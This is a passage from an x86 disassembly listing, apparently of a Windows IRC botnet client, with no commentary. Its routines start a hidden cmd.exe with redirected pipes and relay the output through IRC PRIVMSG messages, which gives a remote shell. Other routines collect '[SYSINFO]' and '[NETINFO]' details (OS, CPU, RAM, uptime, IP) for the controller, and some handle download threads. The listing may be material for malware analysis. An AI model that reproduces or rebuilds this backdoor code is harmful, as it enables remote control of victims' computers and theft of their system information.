add esp, 14h
loc_40A59C: ; CODE XREF: sub_40A3A3+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40B16D
push [ebp+var_20]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40A3A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A5B9 proc near ; CODE XREF: sub_40A5E9+2Ap
; sub_40A621+7Ep ...
mov eax, dword_43A6E4
push esi
mov esi, dword_42106C
cmp eax, 0FFFFFFFFh
jz short loc_40A5CD
push eax
call esi ; CloseHandle
loc_40A5CD: ; CODE XREF: sub_40A5B9+Fj
mov eax, dword_43A6EC
cmp eax, 0FFFFFFFFh
jz short loc_40A5DA
push eax
call esi ; CloseHandle
loc_40A5DA: ; CODE XREF: sub_40A5B9+1Cj
mov eax, dword_43A6E0
cmp eax, 0FFFFFFFFh
jz short loc_40A5E7
push eax
call esi ; CloseHandle
loc_40A5E7: ; CODE XREF: sub_40A5B9+29j
pop esi
retn
sub_40A5B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5E9 proc near ; CODE XREF: sub_40B551+14Ap
; sub_40CE55+4507p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_415CF0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43A6E8
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_40A61C
call sub_40A5B9
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A61C: ; CODE XREF: sub_40A5E9+28j
push 1
pop eax
leave
retn
sub_40A5E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A621 proc near ; CODE XREF: sub_40A6A8+D3p
; sub_40A6A8+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_438FBC
push [ebp+arg_4]
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40A664
push 7D0h
call dword_421060 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4154E7
add esp, 10h
jmp short loc_40A67B
; ---------------------------------------------------------------------------
loc_40A664: ; CODE XREF: sub_40A621+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 0Ch
loc_40A67B: ; CODE XREF: sub_40A621+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A3E8
test eax, eax
jg short loc_40A6A4
call sub_40A5B9
loc_40A6A4: ; CODE XREF: sub_40A621+7Cj
xor eax, eax
leave
retn
sub_40A621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A8 proc near ; DATA XREF: sub_40A7FD+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43A6F0
loc_40A6C0: ; CODE XREF: sub_40A6A8+79j
; sub_40A6A8+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43A6E4
call dword_4210FC ; PeekNamedPipe
test eax, eax
jz loc_40A78E
cmp [ebp+var_4], edi
jnz short loc_40A723
lea eax, [ebp+var_8]
push eax
push dword_43A6E0
call dword_421000 ; GetExitCodeProcess
test eax, eax
jz short loc_40A719
cmp [ebp+var_8], 103h
jnz loc_40A7B2
loc_40A719: ; CODE XREF: sub_40A6A8+62j
push 0Ah
call dword_421060 ; Sleep
jmp short loc_40A6C0
; ---------------------------------------------------------------------------
loc_40A723: ; CODE XREF: sub_40A6A8+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40A73A
loc_40A72A: ; CODE XREF: sub_40A6A8+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40A788
inc eax
cmp eax, [ebp+var_4]
jb short loc_40A72A
loc_40A73A: ; CODE XREF: sub_40A6A8+80j
mov [ebp+var_4], esi
loc_40A73D: ; CODE XREF: sub_40A6A8+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43A6E4
call dword_421068 ; ReadFile
test eax, eax
jz short loc_40A7DA
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43A724
call sub_40A621
add esp, 0Ch
jmp loc_40A6C0
; ---------------------------------------------------------------------------
loc_40A788: ; CODE XREF: sub_40A6A8+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40A73D
; ---------------------------------------------------------------------------
loc_40A78E: ; CODE XREF: sub_40A6A8+45j
push offset dword_42B5F4
push ebx
push dword_43A724
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push 1
call dword_421048 ; ExitThread
loc_40A7B2: ; CODE XREF: sub_40A6A8+6Bj
call sub_40A5B9
push offset dword_42B5B8
push ebx
push dword_43A724
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push edi
call dword_421048 ; ExitThread
loc_40A7DA: ; CODE XREF: sub_40A6A8+C3j
push offset dword_42B574
push ebx
push dword_43A724
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push edi
call dword_421048 ; ExitThread
sub_40A6A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7FD proc near ; CODE XREF: sub_40B551+99p
; sub_40CE55+51BFp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40A5B9
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43A454
test eax, eax
jz loc_40A8F7
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_421108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40A8F7
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40A8F7
mov edi, dword_421104
push 3
push esi
push esi
push offset dword_43A6E8
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_421100 ; DuplicateHandle
test eax, eax
jz short loc_40A8F7
push 10h
loc_40A89A: ; DATA XREF: .nsp0:00424ED4o
; .nsp0:00424F18o ...
lea eax, [ebp+var_2C]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_415570
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_438FBC
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4210EC ; CreateProcessA
test eax, eax
jnz short loc_40A8FF
loc_40A8F7: ; CODE XREF: sub_40A7FD+2Fj
; sub_40A7FD+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40A9AD
; ---------------------------------------------------------------------------
loc_40A8FF: ; CODE XREF: sub_40A7FD+F8j
push [ebp+var_4]
mov edi, dword_42106C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43A6E4, eax
mov eax, [ebp+var_8]
mov dword_43A6EC, eax
mov eax, [ebp+var_2C]
mov dword_43A6E0, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43A724, eax
jz short loc_40A939
push [ebp+arg_4]
jmp short loc_40A93A
; ---------------------------------------------------------------------------
loc_40A939: ; CODE XREF: sub_40A7FD+135j
push ebx
loc_40A93A: ; CODE XREF: sub_40A7FD+13Aj
push offset dword_43A6F0
call sub_4154E7
pop ecx
pop ecx
push esi
push 7
push offset dword_42B680
call sub_414F93
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43F530[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40A6A8
push esi
push esi
call dword_42108C ; CreateThread
cmp eax, esi
mov dword_43F53C[edi], eax
jnz short loc_40A9AB
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset dword_42B638
push eax
call sub_4154E7
lea eax, [ebp+var_378]
push eax
call sub_40B16D
add esp, 10h
loc_40A9AB: ; CODE XREF: sub_40A7FD+185j
xor eax, eax
loc_40A9AD: ; CODE XREF: sub_40A7FD+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A7FD endp
; =============== S U B R O U T I N E =======================================
sub_40A9B2 proc near ; CODE XREF: sub_407135+74p
; sub_40AAD1+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_43A72C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_415A6A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40A9B2 endp
; =============== S U B R O U T I N E =======================================
sub_40AA1B proc near ; CODE XREF: sub_40AAD1+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40AA23: ; CODE XREF: sub_40AA1B+2Fj
; sub_40AA1B+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call dword_421060 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_4172E0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40AA23
jb short loc_40AA52
cmp ebx, esi
ja short loc_40AA23
loc_40AA52: ; CODE XREF: sub_40AA1B+31j
push 0
push 64h
push edi
push ebx
call sub_417260
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40AAC5
jb short loc_40AA71
cmp esi, 50h
jnb short loc_40AA76
loc_40AA71: ; CODE XREF: sub_40AA1B+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40AA76: ; CODE XREF: sub_40AA1B+54j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AA81
cmp esi, 47h
jnb short loc_40AA86
loc_40AA81: ; CODE XREF: sub_40AA1B+5Fj
push 42h
xor edx, edx
pop eax
loc_40AA86: ; CODE XREF: sub_40AA1B+64j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AA91
cmp esi, 37h
jnb short loc_40AA96
loc_40AA91: ; CODE XREF: sub_40AA1B+6Fj
push 32h
xor edx, edx
pop eax
loc_40AA96: ; CODE XREF: sub_40AA1B+74j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAA1
cmp esi, 26h
jnb short loc_40AAA6
loc_40AAA1: ; CODE XREF: sub_40AA1B+7Fj
push 21h
xor edx, edx
pop eax
loc_40AAA6: ; CODE XREF: sub_40AA1B+84j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAB1
cmp esi, 1Eh
jnb short loc_40AAB6
loc_40AAB1: ; CODE XREF: sub_40AA1B+8Fj
push 19h
xor edx, edx
pop eax
loc_40AAB6: ; CODE XREF: sub_40AA1B+94j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAC1
cmp esi, 0Ah
jnb short loc_40AAC5
loc_40AAC1: ; CODE XREF: sub_40AA1B+9Fj
xor eax, eax
xor edx, edx
loc_40AAC5: ; CODE XREF: sub_40AA1B+4Dj
; sub_40AA1B+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40AA1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAD1 proc near ; CODE XREF: sub_40CE55+541Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_438FBC
mov [ebp+var_CC], 94h
call dword_42110C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40AB58
cmp [ebp+var_C4], ebx
jnz short loc_40AB34
cmp [ebp+var_BC], 1
jnz short loc_40AB1E
mov [ebp+var_4], offset a95 ; "95"
loc_40AB1E: ; CODE XREF: sub_40AAD1+44j
cmp [ebp+var_BC], 2
jnz loc_40ABD3
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40ABA4
; ---------------------------------------------------------------------------
loc_40AB34: ; CODE XREF: sub_40AAD1+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40AB46
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB46: ; CODE XREF: sub_40AAD1+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40AB94
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB58: ; CODE XREF: sub_40AAD1+33j
cmp [ebp+var_C8], 5
jnz short loc_40AB94
cmp [ebp+var_C4], ebx
jnz short loc_40AB72
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB72: ; CODE XREF: sub_40AAD1+96j
cmp [ebp+var_C4], 1
jnz short loc_40AB84
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB84: ; CODE XREF: sub_40AAD1+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40AB9B
loc_40AB94: ; CODE XREF: sub_40AAD1+7Cj
; sub_40AAD1+8Ej
mov [ebp+var_4], offset dword_42B7D0
loc_40AB9B: ; CODE XREF: sub_40AAD1+73j
; sub_40AAD1+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40ABD3
loc_40ABA4: ; CODE XREF: sub_40AAD1+61j
cmp [ebp+var_B8], bl
jz short loc_40ABD3
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42B7C8
push eax
call sub_4154E7
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40ABD3: ; CODE XREF: sub_40AAD1+54j
; sub_40AAD1+D1j ...
mov ax, word_42B7C4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43A284
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40AC0C
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_40AC0C: ; CODE XREF: sub_40AAD1+12Cj
push [ebp+arg_4]
call sub_40A171
pop ecx
push eax
call dword_43A3D8
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43A350
cmp eax, ebx
jz short loc_40AC35
push dword ptr [eax]
jmp short loc_40AC3A
; ---------------------------------------------------------------------------
loc_40AC35: ; CODE XREF: sub_40AAD1+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40AC3A: ; CODE XREF: sub_40AAD1+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_421080 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_421110 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417348
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40C328
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A9B2
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
call sub_40AA1B
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_415A6A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40AAD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD85 proc near ; CODE XREF: sub_40CE55+4422p
; sub_40CE55+544Dp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_415570
add esp, 0Ch
cmp dword_43A480, 0
jnz short loc_40ADF9
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43A268
test eax, eax
jnz short loc_40ADDA
lea eax, [ebp+var_8C]
push offset dword_42B844
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40ADDA: ; CODE XREF: sub_40AD85+40j
test [ebp+var_C], 1
jz short loc_40ADF2
push offset dword_42B83C
loc_40ADE5: ; CODE XREF: sub_40AD85+72j
lea eax, [ebp+var_8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_40AE18
; ---------------------------------------------------------------------------
loc_40ADF2: ; CODE XREF: sub_40AD85+59j
push offset dword_42B838
jmp short loc_40ADE5
; ---------------------------------------------------------------------------
loc_40ADF9: ; CODE XREF: sub_40AD85+28j
mov esi, offset off_42B834
lea eax, [ebp+var_8]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_8C]
push esi
push eax
call sub_4154E7
add esp, 10h
loc_40AE18: ; CODE XREF: sub_40AD85+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_415A6A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40AD85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE4B proc near ; DATA XREF: sub_40CE55+45F7o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42B988
call sub_415570
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_415570
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_415570
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_415570
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_415570
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43A2A0
test eax, eax
jz loc_40AFE5
cmp [ebp+var_34], ebx
jbe short loc_40AF22
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF22: ; CODE XREF: sub_40AE4B+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40AF40
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF40: ; CODE XREF: sub_40AE4B+DEj
cmp [ebp+var_20], ebx
jbe short loc_40AF5A
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF5A: ; CODE XREF: sub_40AE4B+F8j
cmp [ebp+var_18], ebx
jbe short loc_40AF74
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF74: ; CODE XREF: sub_40AE4B+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43A348
call dword_43A36C
mov esi, eax
cmp esi, ebx
jz short loc_40AFFD
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43A360
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40B004
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43A314
test eax, eax
jz short loc_40AFDE
push offset dword_42B958
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40AFDE: ; CODE XREF: sub_40AE4B+18Aj
push offset unk_42B908
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40AFE5: ; CODE XREF: sub_40AE4B+B7j
lea eax, [ebp+var_55C]
push offset dword_42B8D8
push eax
call sub_4154E7
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40B017
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: sub_40AE4B+153j
push offset unk_42B898
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40B004: ; CODE XREF: sub_40AE4B+17Bj
push offset unk_42B854
loc_40B009: ; CODE XREF: sub_40AE4B+191j
; sub_40AE4B+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40B017: ; CODE XREF: sub_40AE4B+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40B042
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_412D4C
add esp, 14h
loc_40B042: ; CODE XREF: sub_40AE4B+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40B16D
pop ecx
push esi
call dword_43A3CC
push [ebp+var_4]
call dword_43A3CC
push [ebp+var_1D8]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_40AE4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B075 proc near ; CODE XREF: sub_40CE55+4355p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43E7A8
mov edi, 0B8h
loc_40B089: ; CODE XREF: sub_40B075+33j
cmp byte ptr [esi], 0
jz short loc_40B0AC
push [ebp+arg_0]
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40B0AC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43F328
jl short loc_40B089
jmp short loc_40B0EE
; ---------------------------------------------------------------------------
loc_40B0AC: ; CODE XREF: sub_40B075+17j
; sub_40B075+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43E7A8[esi]
push ebx
call sub_415570
push 17h
push [ebp+arg_0]
push ebx
call sub_416D40
push 9Fh
lea eax, dword_43E7C0[esi]
push [ebp+arg_4]
push eax
call sub_416D40
add esp, 24h
inc dword_42E7A4
pop ebx
loc_40B0EE: ; CODE XREF: sub_40B075+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40B075 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0F5 proc near ; CODE XREF: sub_40CE55+5588p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42B998
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
xor edi, edi
mov esi, offset dword_43E7A8
loc_40B11F: ; CODE XREF: sub_40B0F5+72j
cmp byte ptr [esi], 0
jz short loc_40B15A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42B98C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_415A6A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 2Ch
loc_40B15A: ; CODE XREF: sub_40B0F5+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43F328
jl short loc_40B11F
pop edi
pop esi
leave
retn
sub_40B0F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B16D proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
